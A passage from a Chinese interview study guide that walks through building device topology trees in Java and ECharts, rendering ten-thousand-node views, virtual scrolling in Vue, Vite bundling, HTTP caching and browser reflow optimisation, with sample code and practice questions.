            node.setDepth(flat.getDepth());
            node.setChildren(new ArrayList<>());
            nodeMap.put(flat.getId(), node);
        }

        // 第二遍:挂接父子关系
        DeviceNode root = null;
        for (DeviceFlat flat : flatList) {
            DeviceNode node = nodeMap.get(flat.getId());
            Long parentId = flat.getParentId();

            if (parentId == null) {
                root = node;                          // 没有父节点 → 根节点
            } else {
                DeviceNode parent = nodeMap.get(parentId);
                if (parent != null) {
                    parent.getChildren().add(node);   // 挂到父节点的 children
                }
                // parent == null 说明数据不一致(父节点被删),这里可选择丢弃或挂到根
            }
        }
        return root;
    }

    /**
     * 设备状态变更时,清除对应站点的拓扑缓存
     */
    @Transactional
    public void updateDeviceStatus(Long deviceId, String status) {
        deviceMapper.updateStatus(deviceId, status);
        // ★ 缓存一致性:删缓存而不是更新(避免并发下的脏数据)
        Long stationId = findRootStationId(deviceId);
        redisTemplate.delete(TOPO_CACHE_KEY + stationId);
    }
}

⚠️ 面试追问:为什么不递归构建?

答: 递归构建(每找一个节点的子节点就遍历一次全表)时间复杂度是 O(n²),万级节点就是上亿次比较,不可接受。用 HashMap 做两遍遍历是 O(n)——第一遍建索引(O(1) 查找),第二遍挂接关系。这是典型的空间换时间,万级节点从秒级降到毫秒级。

前端需要的 JSON 结构

{
  "id": 1,
  "name": "站点A",
  "deviceType": "STATION",
  "status": "ONLINE",
  "depth": 0,
  "children": [
    {
      "id": 2, "name": "逆变器1", "deviceType": "INVERTER", "status": "ONLINE",
      "depth": 1,
      "children": [
        { "id": 5, "name": "光伏板1", "deviceType": "PANEL",
          "status": "ONLINE", "depth": 2, "children": [] },
        { "id": 6, "name": "光伏板2", "deviceType": "PANEL",
          "status": "FAULT", "depth": 2, "children": [] }
      ]
    },
    {
      "id": 3, "name": "逆变器2", "deviceType": "INVERTER",
      "status": "OFFLINE", "depth": 1, "children": []
    }
  ]
}

8.4 ECharts 树形拓扑图(type: ‘tree’)

<!-- DeviceTopology.vue -->
<script setup>
import { ref, onMounted, shallowRef } from 'vue';
import * as echarts from 'echarts/core';
import { TreeChart } from 'echarts/charts';
import { TooltipComponent, TitleComponent } from 'echarts/components';
import { CanvasRenderer } from 'echarts/renderers';
import { getTopology } from '@/api/device';

echarts.use([TreeChart, TooltipComponent, TitleComponent, CanvasRenderer]);

const chartRef = ref(null);
const chart = shallowRef(null);
const treeData = ref(null);

// 设备类型 → 图标/颜色映射
const DEVICE_STYLE = {
  STATION:  { color: '#409eff', symbol: 'circle', size: 22 },
  INVERTER: { color: '#67c23a', symbol: 'rect',   size: 16 },
  PANEL:    { color: '#e6a23c', symbol: 'roundRect', size: 12 },
  SENSOR:   { color: '#909399', symbol: 'circle', size: 8 }
};
// 状态 → 颜色(优先级高于类型色)
const STATUS_COLOR = {
  ONLINE:  '#67c23a',
  OFFLINE: '#909399',
  FAULT:   '#f56c6c'
};

onMounted(async () => {
  // ① 后端返回树形 JSON(已构建好,前端直接用)
  treeData.value = await getTopology({ stationId: 1 });

  chart.value = echarts.init(chartRef.value);
  chart.value.setOption(getTreeOption(treeData.value));

  // ② 点击节点 → 加载该设备详情
  chart.value.on('click', handleNodeClick);
});

function getTreeOption(data) {
  return {
    title: { text: '设备拓扑图', left: 'center' },
    tooltip: {
      trigger: 'item',
      formatter: (p) => {
        const d = p.data;
        return `<b>${d.name}</b><br/>
                类型:${d.deviceType}<br/>
                状态:${d.status}<br/>
                层级:${d.depth}`;
      }
    },
    series: [{
      type: 'tree',
      data: [data],                        // ★ 必须是数组
      // 布局方式
      layout: 'orthogonal',                // 正交布局(直角连线)
      // layout: 'radial',                 // 径向布局(同心圆放射)
      orient: 'LR',                        // 方向:LR(左→右) TB(上→下) RL BT

      // ★ 节点样式(按状态动态着色)
      symbol: (value, params) =>
        DEVICE_STYLE[params.data.deviceType]?.symbol ?? 'circle',
      symbolSize: (value, params) =>
        DEVICE_STYLE[params.data.deviceType]?.size ?? 10,
      itemStyle: {
        color: (params) =>
          STATUS_COLOR[params.data.status] ??
          DEVICE_STYLE[params.data.deviceType]?.color ?? '#409eff',
        borderWidth: 2,
        borderColor: '#fff'
      },

      // 标签
      label: {
        position: 'right',                 // LR 布局时标签在右侧
        align: 'left',
        verticalAlign: 'middle',
        fontSize: 12,
        formatter: '{b}'                   // {b} = 节点 name
      },
      leaves: {                            // 叶子节点单独配置
        label: { position: 'right', align: 'left' }
      },

      // 连线样式
      lineStyle: { color: '#ccc', width: 1.5, curveness: 0 },

      // ★ 展开/收起动画
      expandAndCollapse: true,
      initialTreeDepth: 2,                 // 初始展开 2 层(万级节点必须限制!)
      animationDuration: 550,
      animationDurationUpdate: 750,

      // 高亮
      emphasis: {
        focus: 'descendant',               // 悬浮时高亮整条子孙链路
        itemStyle: { shadowBlur: 10, shadowColor: 'rgba(0,0,0,0.3)' }
      }
    }]
  };
}

function handleNodeClick(params) {
  if (params.dataType === 'node' || params.componentType === 'series') {
    console.log('点击设备', params.data.id, params.data.name);
    // 加载该设备的实时数据 / 跳转到详情页
    loadDeviceDetail(params.data.id);
  }
}
</script>

<template>
  <div ref="chartRef" style="width: 100%; height: 600px"></div>
</template>

8.5 ECharts 关系图(type: ‘graph’,网状拓扑)

适用场景: 设备间通信链路(不是严格层级,任意连接)。

// 数据格式:nodes(节点数组)+ links(边数组)+ categories(分类)
const graphOption = {
  title: { text: '设备通信链路拓扑', left: 'center' },
  tooltip: {},
  legend: [{ data: ['站点', '网关', '设备'] }],

  series: [{
    type: 'graph',
    layout: 'force',                  // ★ 力导向布局(自动计算节点位置)
    // layout: 'none',                // ★ 固定坐标布局(用节点自带 x/y)
    // layout: 'circular',            // 环形布局

    // 力导向参数(布局效果调优)
    force: {
      repulsion: 300,                 // 节点间斥力(越大越分散)
      gravity: 0.1,                   // 向中心的引力
      edgeLength: [80, 150],          // 边的理想长度范围
      friction: 0.1,                  // 摩擦系数(越大越快稳定)
      layoutAnimation: true           // 显示布局动画
    },

    // 分类(用于 legend 和着色)
    categories: [
      { name: '站点', itemStyle: { color: '#409eff' } },
      { name: '网关', itemStyle: { color: '#67c23a' } },
      { name: '设备', itemStyle: { color: '#e6a23c' } }
    ],

    // ★ 节点数据
    nodes: [
      { id: '1', name: '站点A', category: 0, symbolSize: 40, value: 100 },
      { id: '2', name: '网关1', category: 1, symbolSize: 25, value: 50 },
      { id: '3', name: '网关2', category: 1, symbolSize: 25, value: 50 },
      { id: '4', name: '设备1', category: 2, symbolSize: 15 },
      { id: '5', name: '设备2', category: 2, symbolSize: 15 },
      { id: '6', name: '设备3', category: 2, symbolSize: 15 }
    ],

    // ★ 边数据(source → target)
    links: [
      { source: '1', target: '2' },
      { source: '1', target: '3' },
      { source: '2', target: '4' },
      { source: '2', target: '5' },
      { source: '3', target: '6' }
    ],

    // 边的样式
    lineStyle: {
      color: 'source',                // 边的颜色跟随源节点
      width: 2,
      curveness: 0.1                  // 弯曲度(0 = 直线)
    },

    // 标签
    label: { show: true, position: 'right', formatter: '{b}' },

    // 交互
    roam: true,                       // 允许鼠标缩放和平移(大图必备)
    draggable: true,                  // 节点可拖拽
    focusNodeAdjacency: true,         // 悬浮时高亮相邻节点
    emphasis: {
      focus: 'adjacency',             // 高亮相邻
      lineStyle: { width: 4 }
    },

    // ★ 大规模优化
    // 节点太多时,力导向布局会卡,可以:
    // ① 改用 layout: 'none' + 后端算好坐标
    // ② 关闭布局动画 force.layoutAnimation: false
    // ③ 减少迭代次数
  }]
};

layout 三种模式对比:

layout 工作方式 优点 缺点 适用
force 力导向算法自动计算位置 自动布局,美观 节点多时卡顿(模拟物理运动) < 500 节点
none 用节点自带的 x/y 坐标 性能最好,位置可控 要自己算坐标 大规模(你的万级场景)
circular 环形排列 简单整齐 只适合特定场景 环形拓扑

8.6 大规模拓扑优化(你的“万级节点”场景)

问题: 万级设备节点,直接渲染会卡死浏览器。怎么优化?

优化策略(5 个层次,面试按这个顺序答)

① 数据层:限制初始展开层级
   initialTreeDepth: 2        ← 只展开前 2 层,其余折叠
   万级节点实际渲染的只有几百个(其他折叠在父节点里)

② 数据层:后端分页/按需加载
   点击节点展开时,才去请求该节点的子列表(懒加载)
   而不是一次性返回整棵树

③ 渲染层:关动画 + 简化样式
   animation: false           ← 万级节点动画是灾难
   label: { show: false }     ← 节点太多时标签重叠,且渲染慢
   edgeSymbol: ['none','none'] ← 去掉箭头

④ 渲染层:切换 SVG → Canvas(默认就是 Canvas)
   Canvas 画万个图形比万个 DOM 节点快得多

⑤ 布局层:预计算坐标
   力导向布局 O(n²) 复杂度,万级节点算不出来
   改为后端算好坐标(或前端分层布局算法),用 layout: 'none'

懒加载实现(点击展开才请求子节点)

// ① 初始只返回前 2 层
// ② 监听展开事件,动态加载子节点
chart.on('click', async (params) => {
  const node = params.data;

  // 如果该节点还有未加载的子节点,且当前是折叠状态
  if (node.hasChildren && !node.loaded && !node.expanded) {
    // 请求子节点数据
    const children = await fetchChildren(node.id);

    // 更新数据(要操作原始数据树,然后重新 setOption)
    node.children = children.map(c => ({ ...c, loaded: true }));
    node.loaded = true;

    // 重新渲染
    chart.setOption(getTreeOption(treeData.value), true);   // notMerge
    // 或更细粒度的更新(ECharts tree 不支持局部更新,只能整体 setOption)
  }
});

后端配合:只返回指定层级的节点

/**
 * 懒加载:只查某个节点的直接子节点(不递归)
 */
@GetMapping("/devices/{parentId}/children")
public Result<List<DeviceNode>> getChildren(@PathVariable Long parentId) {
    // 只查一层,不用递归 CTE,极快
    List<DeviceFlat> children = deviceMapper.selectByParentId(parentId);
    return Result.success(children.stream()
        .map(this::convertToNode)
        .peek(n -> n.setHasChildren(deviceMapper.countChildren(n.getId()) > 0))
        .collect(Collectors.toList()));
}
-- 只查一层子节点(带是否有子节点的标记)
SELECT d.*,
       (SELECT COUNT(1) FROM device c WHERE c.parent_id = d.id) AS child_count
FROM device d
WHERE d.parent_id = #{parentId}
ORDER BY d.sort_order;

8.7 完整面试问答(拓扑专题)

Q1(高频):拓扑数据是怎么存储和查询的?

答: 存储用邻接表(device 表里有 parent_id 字段指向父节点)。选它是因为设备拓扑会频繁调整,邻接表移动节点只需改一条记录的 parent_id,代价 O(1);如果用路径枚举或嵌套集,移动子树要批量更新大量记录。 查询用 MySQL 8.0 的递归 CTE(WITH RECURSIVE)一次性查出整棵子树,SQL 里限制了递归深度防止数据成环时死循环。 查出来是平铺列表后,在后端用 HashMap 做两遍遍历构建成树形 JSON——第一遍把所有节点放进 Map(O(1) 查找),第二遍挂接父子关系,整体 O(n)。如果递归构建是 O(n²),万级节点不可接受。 最后树形 JSON 存 Redis 缓存 30 分钟,设备状态变更时删缓存。

Q2:前端怎么渲染万级节点不卡?

答: 五层优化: ① 限制初始展开层级——initialTreeDepth: 2,实际渲染的只有几百个节点,其余折叠在父节点里; ② 懒加载——点击展开时才请求该节点的直接子节点,后端对应的是“只查一层”的接口,不递归; ③ 关闭动画——animation: false,万级节点的动画是灾难; ④ 用 Canvas 渲染——ECharts 默认 Canvas,画万个图形比万个 DOM 节点快得多; ⑤ 布局用 none 而非 force——力导向是模拟物理运动,复杂度 O(n²),节点多时算不出来;大规模场景用后端算好的坐标或分层布局。 另外节点太多时把 label.show 设为 false,标签重叠看不清还拖慢渲染,改成 tooltip 悬浮显示。

Q3:设备状态变化怎么实时反映到拓扑图上?

答: 后端设备状态变更通过 WebSocket 主动推送给前端(而不是前端轮询)。前端收到后: ① 更新本地树数据中对应节点的 status 字段; ② 用 节流(500ms)限制更新频率,避免高频推送导致频繁重绘; ③ 调用 setOption 增量更新(只传变化的 series); ④ 同时删除 Redis 里的拓扑缓存,保证下次查询拿到最新状态。 拓扑图节点颜色按状态映射(在线绿、离线灰、故障红),故障节点我还会加个闪烁动画(effectScatter 或 CSS 动画)提醒。

Q4:树形结构和图结构(tree vs graph)怎么选?

答: 看数据是否有严格层级。 tree 适合严格层级(站点 → 设备 → 传感器),自带布局算法、支持展开收起、性能好。 graph 适合任意连接关系(设备间通信链路、管网走向),支持力导向/环形布局,能用 roam 缩放平移。 我们项目里两种都用了:设备层级用 tree,通信链路用 graph(力导向布局 + roam 缩放)。


第八章 面试题汇总

# 题目 难度
1 树的存储方案有哪些?邻接表的优缺点? ⭐⭐⭐⭐
2 说说你为什么选邻接表而不是路径枚举/闭包表? ⭐⭐⭐⭐⭐
3 MySQL 递归 CTE 怎么写?有什么坑? ⭐⭐⭐⭐⭐
4 平铺列表转树形结构,怎么做到 O(n)? ⭐⭐⭐⭐⭐
5 树形数据转换放在前端还是后端?为什么? ⭐⭐⭐⭐
6 ECharts tree 和 graph 的区别?怎么选? ⭐⭐⭐⭐
7 力导向布局的原理?大规模时有什么问题? ⭐⭐⭐⭐
8 万级节点渲染怎么优化? ⭐⭐⭐⭐⭐
9 拓扑图怎么做懒加载?后端怎么配合? ⭐⭐⭐⭐⭐
10 设备状态实时更新怎么做? ⭐⭐⭐⭐
11 拓扑数据怎么缓存?缓存一致性怎么保证? ⭐⭐⭐⭐
12 树形结构的递归查询如何防止死循环? ⭐⭐⭐⭐


第九章:前端性能优化

你的简历项目一写了: “针对万级指令列表渲染卡顿问题,引入虚拟滚动与分页懒加载,配合表格列按需渲染,首屏渲染耗时从 3s+ 降至 800ms 以内,滚动帧率稳定在 60fps”

这是最有含金量的性能案例——能讲清虚拟滚动原理和实现方式,全栈水平就立住了。

9.1 性能指标(先知道怎么衡量)

指标 全称 含义 好 差
FP First Paint 首次绘制(画面不再是白屏) — —
FCP First Contentful Paint 首次内容绘制(出现文字/图片) < 1.8s > 3s
LCP Largest Contentful Paint 最大内容绘制(主内容可见) < 2.5s > 4s
FID First Input Delay 首次输入延迟(可交互) < 100ms > 300ms
CLS Cumulative Layout Shift 累积布局偏移(页面跳动) < 0.1 > 0.25
TTI Time to Interactive 完全可交互时间 < 3.8s > 7.3s

Google 的 Core Web Vitals(核心网页指标)就是 FCP / LCP / CLS 三个。

怎么测:

// 用 PerformanceObserver 采集 LCP
new PerformanceObserver((list) => {
  for (const entry of list.getEntries()) {
    console.log('LCP:', entry.startTime, entry.element);
  }
}).observe({ type: 'largest-contentful-paint', buffered: true });

// 采集 CLS
let clsValue = 0;
new PerformanceObserver((list) => {
  for (const entry of list.getEntries()) {
    if (!entry.hadRecentInput) {
      clsValue += entry.value;
      console.log('CLS:', clsValue);
    }
  }
}).observe({ type: 'layout-shift', buffered: true });

工具: Chrome DevTools 的 Lighthouse / Performance 面板。

9.2 首屏优化(从 3s 到 800ms 的思路)

首屏慢的原因分析(用 Performance 面板定位):

① 资源下载慢 → JS/CSS 体积大、没压缩、没用 CDN
② 解析执行慢 → JS 太大、没分包、主线程被阻塞
③ 接口慢 → 后端响应慢、串行请求、没缓存
④ 渲染慢 → DOM 节点太多、没做懒加载/虚拟滚动

优化手段清单:

手段 做法 效果
路由懒加载 () => import('./Page.vue') 首屏 JS 减小 60%+
组件按需引入 Element Plus 用 unplugin-vue-components 避免全量引入
Gzip/Brotli 压缩 Nginx 开启 gzip on 传输体积减 70%
CDN 加速 大依赖走 CDN(echarts、vue) 减少主站带宽
Tree-shaking ES Module + 按需 import 去除无用代码
代码分割 Vite manualChunks 手动分包 并行下载
预渲染/SSR 首屏直出 HTML FCP 大幅提升
骨架屏 加载中先显示占位 提升感知性能
接口合并/并行 多个接口并行请求 减少等待
虚拟滚动 只渲染可视区 大数据列表必备

9.3 虚拟滚动(Virtual Scrolling)—— 重点

你简历的核心性能案例,必须能讲清原理和手写实现。

问题:为什么万级列表会卡?

1 万条数据 → 渲染 1 万个 DOM 节点
  · DOM 节点创建:每个节点几十个属性,内存占用大
  · 布局计算(Reflow):浏览器要计算 1 万个节点的位置
  · 绘制(Repaint):要画 1 万个节点
  → 首屏几秒 + 滚动掉帧

浏览器渲染瓶颈:
  屏幕刷新率 60Hz → 每帧只有 16.7ms
  1 万个节点的布局计算远超 16.7ms → 掉帧、卡顿

原理:只渲染可视区域

全部数据(10000 条)
┌────────────────────────────────────────┐
│  0     ← 不可见,不渲染                 │
│  1     ← 不可见,不渲染                 │
│  ...                                    │
├────────────────────────────────────────┤
│  45    ←┐                              │
│  46      │                             │
│  47      │ 可视区(约 10 条)            │  ← 只渲染这 10 个 DOM
│  48      │ 真正创建 DOM 节点            │
│  ...     │                             │
│  54      │                             │
├────────────────────────────────────────┤  ← scrollTop
│  55    ← 不可见,不渲染                 │
│  ...                                    │
│  9999  ← 不可见,不渲染                 │
└────────────────────────────────────────┘

实现方式:
  ┌─────────────────────────────────────┐
  │  滚动容器(固定高度,overflow:auto)  │
  │  ┌───────────────────────────────┐  │
  │  │ 占位块(总高度 = 10000 × 40px)│  │ ← 撑出滚动条,保持原生滚动体验
  │  │  ┌─────────────────────────┐  │  │
  │  │  │ 可见项容器                │  │  │
  │  │  │ (transform: translateY) │  │  │ ← 定位到正确位置
  │  │  │   渲染 10 条真实数据       │  │  │
  │  │  └─────────────────────────┘  │  │
  │  └───────────────────────────────┘  │
  └─────────────────────────────────────┘

计算:
  startIndex = Math.floor(scrollTop / itemHeight)          // 起始索引
  endIndex   = startIndex + Math.ceil(viewHeight / itemHeight)  // 结束索引
  offsetY    = startIndex * itemHeight                     // 偏移量
  visibleData = list.slice(startIndex, endIndex)           // 要渲染的数据

手写实现(面试可能要求)

<!-- VirtualList.vue -->
<script setup lang="ts">
import { ref, computed, onMounted, onUnmounted } from 'vue';

interface Props {
  items: any[];              // 全部数据
  itemHeight: number;        // 每项固定高度(固定高度是简化前提)
  containerHeight?: number;  // 容器高度
  buffer?: number;           // 上下缓冲数量(防止快速滚动白屏)
}
const props = withDefaults(defineProps<Props>(), {
  containerHeight: 500, buffer: 3
});

const containerRef = ref<HTMLDivElement>();
const scrollTop = ref(0);

// ① 总高度(撑出滚动条)
const totalHeight = computed(() => props.items.length * props.itemHeight);

// ② 可见数量
const visibleCount = computed(() =>
  Math.ceil(props.containerHeight / props.itemHeight)
);

// ③ 起始索引(带缓冲)
const startIndex = computed(() =>
  Math.max(0, Math.floor(scrollTop.value / props.itemHeight) - props.buffer)
);

// ④ 结束索引
const endIndex = computed(() =>
  Math.min(props.items.length, startIndex.value + visibleCount.value + props.buffer * 2)
);

// ⑤ 要渲染的数据
const visibleData = computed(() =>
  props.items.slice(startIndex.value, endIndex.value)
);

// ⑥ 偏移量(把可见项推到正确位置)
const offsetY = computed(() => startIndex.value * props.itemHeight);

// ⑦ 滚动处理(★ 用 rAF 节流,避免高频触发)
let rafId: number | null = null;
function handleScroll(e: Event) {
  if (rafId) return;                        // 已有帧请求,跳过
  rafId = requestAnimationFrame(() => {
    scrollTop.value = (e.target as HTMLElement).scrollTop;
    rafId = null;
  });
}

onUnmounted(() => {
  if (rafId) cancelAnimationFrame(rafId);
});
</script>

<template>
  <div
    ref="containerRef"
    class="virtual-list-container"
    :style="{ height: containerHeight + 'px', overflow: 'auto' }"
    @scroll="handleScroll"
  >
    <!-- 占位块:撑出总高度,产生原生滚动条 -->
    <div :style="{ height: totalHeight + 'px', position: 'relative' }">
      <!-- 可见项容器:用 transform 定位(比 top 性能好,不触发重排) -->
      <div :style="{ transform: `translateY(${offsetY}px)` }">
        <div
          v-for="(item, i) in visibleData"
          :key="startIndex + i"
          :style="{ height: itemHeight + 'px' }"
          class="virtual-list-item"
        >
          <slot :item="item" :index="startIndex + i"></slot>
        </div>
      </div>
    </div>
  </div>
</template>

使用:

<VirtualList :items="instructionList" :item-height="48" :container-height="600">
  <template #default="{ item, index }">
    <div class="instruction-row">
      <span>{{ index + 1 }}</span>
      <span>{{ item.instructionNo }}</span>
      <span>{{ item.amount }}</span>
    </div>
  </template>
</VirtualList>

关键优化点(面试要说出这 4 条):

① 用 transform 而不是 top/margin 定位
   transform 只触发「合成」(GPU 处理),不触发重排重绘,性能好

② requestAnimationFrame 节流滚动事件
   滚动事件触发频率极高(每秒几十上百次),用 rAF 合并成每帧一次
   (也可以用 throttle,但 rAF 更贴合渲染节奏)

③ 加 buffer 缓冲
   上下多渲染几条(如 3 条),快速滚动时不会出现白屏

④ 固定 itemHeight 是简化前提
   如果行高不固定,要用「预估高度 + 动态测量 + 位置缓存」,复杂很多
   (生产环境建议直接用现成库:vue-virtual-scroller / el-table-v2)

生产建议: 手写虚拟滚动是面试加分项,但生产环境推荐用成熟库:

  • vue-virtual-scroller(Vue3 支持)
  • el-table-v2(Element Plus 官方虚拟表格,你的项目推荐这个)
  • @tanstack/vue-virtual(TanStack 出的,性能好)

你的项目话术(对应简历): “指令列表最多上万条,全量渲染时首屏要 3 秒多、滚动明显掉帧。我做了虚拟滚动:只渲染可视区的十几条,用一个占位块撑出总高度保持原生滚动体验,可见项用 transform 定位。滚动事件用 requestAnimationFrame 节流,上下各留 3 条缓冲防止快速滚动白屏。改造后首屏 800ms 以内,滚动稳定 60fps。生产上 Element Plus 的 el-table-v2 自带虚拟滚动,新页面直接用它了。”

9.4 路由懒加载与组件按需引入

路由懒加载

// ✅ 每个路由单独打包,访问时才加载
const routes = [
  { path: '/', component: () => import('@/views/Home.vue') },
  { path: '/dashboard', component: () => import('@/views/Dashboard.vue') },
  // ECharts 体积大,必须懒加载(不然首屏就要下载 1MB)
];

// 打包产物:
// dist/assets/index-a1b2c3.js      200KB  (首屏必需)
// dist/assets/Home-d4e5f6.js        30KB  (切到首页才下载)
// dist/assets/Dashboard-g7h8i9.js  350KB  (切到大屏才下载,含 echarts)

Element Plus 按需引入

npm install -D unplugin-vue-components unplugin-auto-import
// vite.config.ts
import AutoImport from 'unplugin-auto-import/vite';
import Components from 'unplugin-vue-components/vite';
import { ElementPlusResolver } from 'unplugin-vue-components/resolvers';

export default defineConfig({
  plugins: [
    AutoImport({
      resolvers: [ElementPlusResolver()],      // 自动导入 ElMessage 等函数
    }),
    Components({
      resolvers: [ElementPlusResolver()],      // 自动导入 el-button 等组件
    }),
  ],
});

// 效果:模板里直接用 <el-button>,不用 import,且只打包用到的组件
// 全量引入 ~1MB → 按需引入 ~200KB

同理适用于 ECharts(见 7.7 节)、lodash(import debounce from 'lodash/debounce')。

9.5 打包优化(Vite 配置)

// vite.config.ts
import { defineConfig } from 'vite';
import vue from '@vitejs/plugin-vue';
import { visualizer } from 'rollup-plugin-visualizer';

export default defineConfig({
  plugins: [vue()],

  build: {
    // ① 压缩(默认 esbuild,可换 terser 更激进)
    minify: 'terser',
    terserOptions: {
      compress: {
        drop_console: true,          // 生产删除 console
        drop_debugger: true          // 删除 debugger
      }
    },

    // ② 代码分割(把大依赖单独打包,利用浏览器并行下载 + 长效缓存)
    rollupOptions: {
      output: {
        manualChunks: {
          vue: ['vue', 'vue-router', 'pinia'],       // 框架单独包
          echarts: ['echarts'],                       // 图表单独包(大)
          elementPlus: ['element-plus'],              // UI 库单独包
        }
      }
    },

    // ③ chunk 大小警告阈值
    chunkSizeWarningLimit: 1000,

    // ④ 静态资源分类存放
    assetsDir: 'assets',
    assetsInlineLimit: 4096,        // 小于 4KB 的图片转 base64(减少请求)
  },

  // ⑤ 依赖预构建(开发体验)
  optimizeDeps: {
    include: ['vue', 'vue-router', 'pinia', 'axios', 'echarts']
  }
});

分析打包体积:

npm install -D rollup-plugin-visualizer
# 构建后生成 stats.html,可视化看哪些包最大

9.6 缓存策略

浏览器缓存(HTTP 层)

★ 强缓存(不发请求,直接用本地)
  Cache-Control: max-age=31536000        (1 年,用于带 hash 的静态资源)
  Expires: Wed, 21 Oct 2027 07:28:00 GMT (HTTP/1.0,优先级低)

★ 协商缓存(发请求问服务器,没变就返回 304)
  ETag / If-None-Match                    (文件内容的 hash,优先级高)
  Last-Modified / If-Modified-Since       (修改时间)

流程:
  首次请求 → 服务器返回资源 + Cache-Control + ETag
  再次请求 → ① 强缓存没过期?直接用(200 from memory/disk cache,不发请求)
            ② 过期了 → 带 If-None-Match 问服务器
               → 没变返回 304(空响应体,省流量)
               → 变了返回 200 + 新资源

最佳实践(面试常问):

资源类型 策略
带 hash 的 JS/CSS(app.a1b2c3.js) Cache-Control: max-age=31536000, immutable(强缓存 1 年)
index.html Cache-Control: no-cache(必须协商,否则发版不生效)
图片/字体 强缓存 + CDN
API 接口 Cache-Control: no-store(不缓存)

为什么 index.html 要 no-cache? 因为 JS/CSS 文件名带 hash,内容变了文件名就变,可以放心强缓存;但 index.html 是入口,如果它被缓存了,发版后 HTML 里引用的还是旧 JS 文件名,用户看到的是旧版本。

Nginx 配置

server {
  root /usr/share/nginx/html;

  # ① index.html 不缓存(或协商缓存)
  location = /index.html {
    add_header Cache-Control "no-cache, must-revalidate";
  }

  # ② 带 hash 的静态资源强缓存 1 年
  location /assets/ {
    expires 1y;
    add_header Cache-Control "public, immutable";
  }

  # ③ SPA 路由 fallback(history 模式必需)
  location / {
    try_files $uri $uri/ /index.html;
  }

  # ④ Gzip 压缩
  gzip on;
  gzip_types text/plain text/css application/json application/javascript text/xml;
  gzip_min_length 1024;
  gzip_comp_level 6;
}

前端本地缓存

// localStorage / sessionStorage / IndexedDB 的选择

// localStorage:永久存储,5~10MB,同步 API(阻塞主线程)
localStorage.setItem('theme', 'dark');          // 主题、用户偏好

// sessionStorage:标签页关闭即清除
sessionStorage.setItem('token', token);         // token(更安全)

// IndexedDB:大容量(几百 MB+),异步 API,支持结构化数据
// 适合:离线缓存大量业务数据(如万级指令列表缓存)

// ⚠️ 注意:不要在 localStorage 存敏感信息(token 被盗风险)
//     同步 API 存大数据会阻塞主线程(5MB 数据 setItem 可能卡几百 ms)

9.7 渲染优化(重排与重绘)

浏览器的渲染流水线

JavaScript → Style(样式计算)→ Layout(布局/重排)→ Paint(绘制/重绘)→ Composite(合成)
阶段 触发的操作 代价
重排(Reflow) 改变尺寸、位置、增删 DOM、改字体 最大(要重新计算布局)
重绘(Repaint) 改颜色、背景、阴影 中等(只重新画,不重算位置)
合成(Composite) transform、opacity 最小(GPU 处理,不占主线程)
// ❌ 触发重排的操作
el.style.width = '100px';
el.style.height = '200px';
el.style.marginTop = '10px';
el.appendChild(newNode);
window.getComputedStyle(el).width;      // ★ 读取会强制同步布局(布局抖动)
el.offsetHeight;                        // ★ 同上

// ✅ 只触发合成(GPU 加速)
el.style.transform = 'translateX(100px)';
el.style.opacity = '0.5';

// ✅ 用 CSS 类批量改样式(一次重排而不是多次)
el.classList.add('active');             // 而不是逐个改 style

// ✅ 批量 DOM 操作用 DocumentFragment
const fragment = document.createDocumentFragment();
for (let i = 0; i < 1000; i++) {
  const li = document.createElement('li');
  li.textContent = `Item ${i}`;
  fragment.appendChild(li);             // 先在内存里拼好
}
listEl.appendChild(fragment);           // 一次性插入,只触发一次重排

⚠️ 布局抖动(Layout Thrashing)—— 性能杀手:

// ❌ 读写交替,每次读都强制浏览器重新布局
for (let i = 0; i < items.length; i++) {
  items[i].style.width = '100px';       // 写
  console.log(items[i].offsetHeight);   // 读 → 强制布局!
  items[i].style.height = '200px';      // 写
  console.log(items[i].offsetTop);      // 读 → 又强制布局!
}
// 1000 次循环 = 2000 次强制布局,卡死

// ✅ 读写分离:先全部读,再全部写
const heights = [];
for (let i = 0; i < items.length; i++) {
  heights.push(items[i].offsetHeight);   // 只读(一次布局)
}
for (let i = 0; i < items.length; i++) {
  items[i].style.height = heights[i] + 'px';   // 只写
}

GPU 加速(will-change):

/* 提示浏览器这个元素会频繁变换,提前提升到独立合成层 */
.animated-element {
  will-change: transform;        /* 或 opacity */
  transform: translateZ(0);      /* 老写法,强制创建合成层 */
}
/* ⚠️ 不要滥用!每个合成层都占内存,太多反而卡 */

第九章 面试题汇总

# 题目 难度
1 前端性能指标有哪些?LCP/CLS 是什么? ⭐⭐⭐⭐
2 首屏加载慢怎么优化? ⭐⭐⭐⭐⭐
3 什么是虚拟滚动?原理是什么?手写实现 ⭐⭐⭐⭐⭐
4 虚拟滚动为什么用 transform 不用 top? ⭐⭐⭐⭐
5 滚动事件为什么要节流?怎么实现? ⭐⭐⭐⭐
6 路由懒加载的原理和好处? ⭐⭐⭐⭐
7 什么是重排和重绘?怎么减少? ⭐⭐⭐⭐⭐
8 什么是布局抖动?怎么避免? ⭐⭐⭐⭐
9 强缓存和协商缓存的区别? ⭐⭐⭐⭐
10 为什么 index.html 要 no-cache,JS 可以强缓存? ⭐⭐⭐⭐⭐
11 打包体积怎么优化? ⭐⭐⭐⭐
12 如何分析打包产物? ⭐⭐⭐
13 localStorage/sessionStorage/IndexedDB 的区别? ⭐⭐⭐
14 你做过哪些性能优化?带来的提升?(开放题,用你的虚拟滚动案例) ⭐⭐⭐⭐⭐

第十章:工程化与构建部署

10.1 Vite vs Webpack

你简历技能清单写了 Vite,面试可能问“为什么用 Vite”。

核心区别:开发环境的构建方式

Webpack(传统打包器):
  启动 → 从入口递归分析所有依赖 → 打包成 bundle → 启动 dev server
  ⏱️ 项目越大越慢(1000 个模块可能要等 30s+)
  改一个文件 → 重新打包相关模块 → 热更新(HMR)慢

    ┌────────────────────────────────────────┐
    │  入口 → 分析依赖 → 打包 → bundle.js     │  ← 全量打包
    └────────────────────────────────────────┘

Vite(基于原生 ESM):
  启动 → 直接启动 dev server(不打包!)
  浏览器请求某个模块 → 服务器按需编译该模块 → 返回
  ⏱️ 启动与项目大小无关(秒级)
  改一个文件 → 只重新编译这一个模块 → HMR 极快

    ┌────────────────────────────────────────┐
    │  浏览器请求 /src/main.js                 │
    │    → Vite 按需编译 → 返回(已是 ESM)    │  ← 按需编译
    │  浏览器再请求它 import 的模块 → 再编译   │
    └────────────────────────────────────────┘
对比 Webpack Vite
开发启动 全量打包,慢(几十秒) 按需编译,秒级
HMR 热更新 重新打包相关模块,较慢 只编译改动模块,极快
原理 Bundle(打包成 bundle.js) 原生 ES Module(浏览器直接加载)
生产构建 Webpack 自己打包 Rollup(更擅长打包优化)
配置复杂度 高(loader/plugin 一大堆) 低(开箱即用)
